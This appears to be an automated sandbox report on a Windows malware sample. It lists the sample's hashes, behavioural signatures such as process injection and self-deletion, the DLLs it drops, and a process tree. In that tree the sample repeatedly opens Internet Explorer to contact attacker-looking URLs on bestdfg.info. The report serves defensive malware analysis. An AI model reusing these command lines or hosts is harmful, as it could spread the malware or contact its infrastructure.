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Analysis

  • max time kernel
    110s
  • max time network
    164s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    19/09/2022, 06:29

General

  • Target

    7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628.exe

  • Size

    106KB

  • MD5

    eb924181cc26ea4bf4e9b6e367085f60

  • SHA1

    88e329693c1f1536a00ae6df3e2820483c408408

  • SHA256

    7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628

  • SHA512

    a2b15d724e6cbc8fa05787d61514764bb240dc9bdb17779b4b3939588978a537e148bb23e328766acd0514c459792bf0ece81dd3aa39d8bc9c7f08a2d0ac3284

  • SSDEEP

    3072:xZMJnTeM4cJJLILa77j2NZmOSyt+DDMuzWtVhUxxW:/eTeM/vILI8Z2yQ/MGWcxc

Score
7/10

Malware Config

Signatures

  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 49 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SetWindowsHookEx 50 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628.exe
    "C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1340
    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://dsdc.bestdfg.info:251/?t=919&i=ie&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87=d8b27608ecd4b72d52ed7ab31a7a63916e0bce87&uu=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1116
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://dsdc.bestdfg.info:251/?t=919&i=ie&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87=d8b27608ecd4b72d52ed7ab31a7a63916e0bce87&uu=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1352
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1352 CREDAT:275457 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1416
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1352 CREDAT:275460 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:968
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1352 CREDAT:603152 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1908
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1352 CREDAT:668693 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:1080
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1352 CREDAT:4076560 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:896
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1352 CREDAT:209960 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2260
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1352 CREDAT:1258524 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2416
        • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1352 CREDAT:1586224 /prefetch:2
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2660
    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
      "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a1&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2020
      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a1&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
        3⤵
          PID:1936
      • C:\Program Files (x86)\Internet Explorer\iexplore.exe
        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a2&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2008
        • C:\Program Files\Internet Explorer\IEXPLORE.EXE
          "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a2&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
          3⤵
            PID:1776
        • C:\Program Files (x86)\Internet Explorer\iexplore.exe
          "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a3&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:984
          • C:\Program Files\Internet Explorer\IEXPLORE.EXE
            "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a3&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
            3⤵
              PID:1032
          • C:\Program Files (x86)\Internet Explorer\iexplore.exe
            "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a4&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
            2⤵
              PID:896
              • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a4&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                3⤵
                  PID:972
              • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a5&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                2⤵
                  PID:1184
                  • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a5&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                    3⤵
                      PID:1632
                  • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                    "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a6&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                    2⤵
                      PID:2144
                      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a6&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                        3⤵
                          PID:2152
                      • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a7&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                        2⤵
                          PID:2232
                          • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                            "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a7&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                            3⤵
                              PID:2240
                          • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                            "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a8&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                            2⤵
                              PID:2336
                              • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                                "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a8&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                                3⤵
                                  PID:2344
                              • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a9&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                                2⤵
                                  PID:2388
                                  • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                                    "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a9&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                                    3⤵
                                      PID:2396
                                  • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                    "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a10&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                                    2⤵
                                      PID:2572
                                      • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                                        "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a10&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                                        3⤵
                                          PID:2584
                                      • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                                        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/gagagaga.php?gg=a11&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                                        2⤵
                                          PID:2632
                                          • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                                            "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/gagagaga.php?gg=a11&tt=919&ur=C:\Users\Admin\AppData\Local\Temp\7e46673989b0bbe2c94c102385510443366604b87a79c2cd38a6a721b3a11628&d8b27608ecd4b72d52ed7ab31a7a63916e0bce87
                                            3⤵
                                              PID:2640
                                          • C:\Windows\SysWOW64\explorer.exe
                                            explorer.exe
                                            2⤵
                                            • Deletes itself
                                            PID:2860

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

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                                        Downloads

                                        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\8X0QTL9A.txt

                                          Filesize

                                          608B

                                          MD5

                                          343b3b19caa28682a0b1f99e2ae7d180

                                          SHA1

                                          7001d8f5b051756a6e1c6b4c8a3764d2c25e96d7

                                          SHA256

                                          320e9122a9fd380eccdbb4cfb67befda3b746d409a26ef301e050945f3300dc9

                                          SHA512

                                          4fe46905bc9f54e9955853a08c99044643db23f3c9cb952b5c75bd2fb60110e9f9f8ea2ef7e4ec7bab01d5f4ec6b910560f0735d1f7074f493b9d93fec9768dc

                                        • \Users\Admin\AppData\Local\Temp\nsy1DCF.tmp\InetLoad.dll

                                          Filesize

                                          18KB

                                          MD5

                                          994669c5737b25c26642c94180e92fa2

                                          SHA1

                                          d8a1836914a446b0e06881ce1be8631554adafde

                                          SHA256

                                          bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c

                                          SHA512

                                          d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563

                                        • \Users\Admin\AppData\Local\Temp\nsy1DCF.tmp\Math.dll

                                          Filesize

                                          66KB

                                          MD5

                                          9eb6cecdd0df9fe32027fcdb51c625af

                                          SHA1

                                          52b5b054ff6e7325c3087822901ea2f2c4f9572a

                                          SHA256

                                          54cf1572ed47f614b0ffb886c99fc5725f454ef7ff919fbb2fd13d1cbe270560

                                          SHA512

                                          864742ec6f74f94057b54cd9b09707c0125ac8db4844fa80af201e8b72a811bb68276c993e75bce67e5ece4f83644572edbdee5e963634c5a37839615faea97a

                                        • \Users\Admin\AppData\Local\Temp\nsy1DCF.tmp\SelfDel.dll

                                          Filesize

                                          4KB

                                          MD5

                                          5e14f6774c43bdff6ffe0afb0d51c47f

                                          SHA1

                                          fb1e7b6e63afa6db6aa2033b5e7e90f1f4ba5e27

                                          SHA256

                                          7cb51ccf21655e9590a6c3232920b16a3dfef15ffe9df7b8e71f487ca8c24da9

                                          SHA512

                                          6ac533c0485156a68bd1460d8219acf7539b766590910cd646f4d7d4572c072f45369712d88d4e698f4e94aead8082abcbfacc3d6fe890046898f6c6d85274e3

                                        • \Users\Admin\AppData\Local\Temp\nsy1DCF.tmp\System.dll

                                          Filesize

                                          11KB

                                          MD5

                                          00a0194c20ee912257df53bfe258ee4a

                                          SHA1

                                          d7b4e319bc5119024690dc8230b9cc919b1b86b2

                                          SHA256

                                          dc4da2ccadb11099076926b02764b2b44ad8f97cd32337421a4cc21a3f5448f3

                                          SHA512

                                          3b38a2c17996c3b77ebf7b858a6c37415615e756792132878d8eddbd13cb06710b7da0e8b58104768f8e475fc93e8b44b3b1ab6f70ddf52edee111aaf5ef5667

                                        • \Users\Admin\AppData\Local\Temp\nsy1DCF.tmp\inetc.dll

                                          Filesize

                                          20KB

                                          MD5

                                          50fdadda3e993688401f6f1108fabdb4

                                          SHA1

                                          04a9ae55d0fb726be49809582cea41d75bf22a9a

                                          SHA256

                                          6d6ddc0d2b7d59eb91be44939457858ced5eb23cf4aa93ef33bb600eb28de6f6

                                          SHA512

                                          e9628870feea8c3aaefe22a2af41cf34b1c1778c4a0e81d069f50553ce1a23f68a0ba74b296420b2be92425d4995a43e51c018c2e8197ec2ec39305e87c56be8

                                        • \Users\Admin\AppData\Local\Temp\nsy1DCF.tmp\inetc.dll

                                          Filesize

                                          20KB

                                          MD5

                                          50fdadda3e993688401f6f1108fabdb4

                                          SHA1

                                          04a9ae55d0fb726be49809582cea41d75bf22a9a

                                          SHA256

                                          6d6ddc0d2b7d59eb91be44939457858ced5eb23cf4aa93ef33bb600eb28de6f6

                                          SHA512

                                          e9628870feea8c3aaefe22a2af41cf34b1c1778c4a0e81d069f50553ce1a23f68a0ba74b296420b2be92425d4995a43e51c018c2e8197ec2ec39305e87c56be8

                                        • \Users\Admin\AppData\Local\Temp\nsy1DCF.tmp\time.dll

                                          Filesize

                                          10KB

                                          MD5

                                          38977533750fe69979b2c2ac801f96e6

                                          SHA1

                                          74643c30cda909e649722ed0c7f267903558e92a

                                          SHA256

                                          b4a95a455e53372c59f91bc1b5fb9e5c8e4a10a506fa04aaf7be27048b30ae35

                                          SHA512

                                          e17069395ad4a17e24f7cd3c532670d40244bd5ae3887c82e3b2e4a68c250cd55e2d8b329d6ff0e2d758955ab7470534e6307779e49fe331c1fd2242ea73fd53

                                        • memory/1340-54-0x0000000076041000-0x0000000076043000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1340-57-0x0000000000370000-0x000000000038A000-memory.dmp

                                          Filesize

                                          104KB

                                        • memory/2860-65-0x0000000071551000-0x0000000071553000-memory.dmp

                                          Filesize

                                          8KB